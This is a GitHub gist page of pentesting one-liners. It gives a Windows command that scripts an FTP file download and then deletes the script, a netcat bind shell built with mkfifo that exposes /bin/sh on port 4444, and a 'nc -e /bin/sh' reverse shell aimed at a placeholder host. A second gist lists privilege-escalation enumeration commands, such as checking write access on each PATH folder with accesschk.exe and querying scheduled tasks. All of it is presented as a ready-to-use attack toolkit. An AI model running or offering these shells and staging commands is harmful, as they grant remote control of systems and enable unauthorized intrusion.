Skip to content

Instantly share code, notes, and snippets.

View timothyleung's full-sized avatar

Timothy Leung timothyleung

View GitHub Profile
One liner to download file from ftp server
echo open WEBSITE >> ftp &echo user USERNAME PASSWORD >> ftp &echo binary >> ftp &echo get FILENAMETODOWNLOAD >> ftp &echo bye >> ftp &ftp -n -v -s:ftp &del ftp
rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc -l 0.0.0.0 4444 > /tmp/f # for new version of nc
nc -e /bin/sh blah # old version of nc
@timothyleung
timothyleung / gist:2927d6e5006b628f1aca22b89e917f6c
Last active December 14, 2021 15:51
Windows Command for Pentesting
# Parsing %PATH% variable in Windows
for %a in ("%path:;=";"%") do @echo %~a
# Apply accesschk.exe to each PATH in %PATH% and check our access permission to that folder
for %a in ("%path:;=";"%") do accesschk.exe -dqv "%~a"
# Check all scheduled tasks
schtasks /query
schtasks /query /fo LIST /v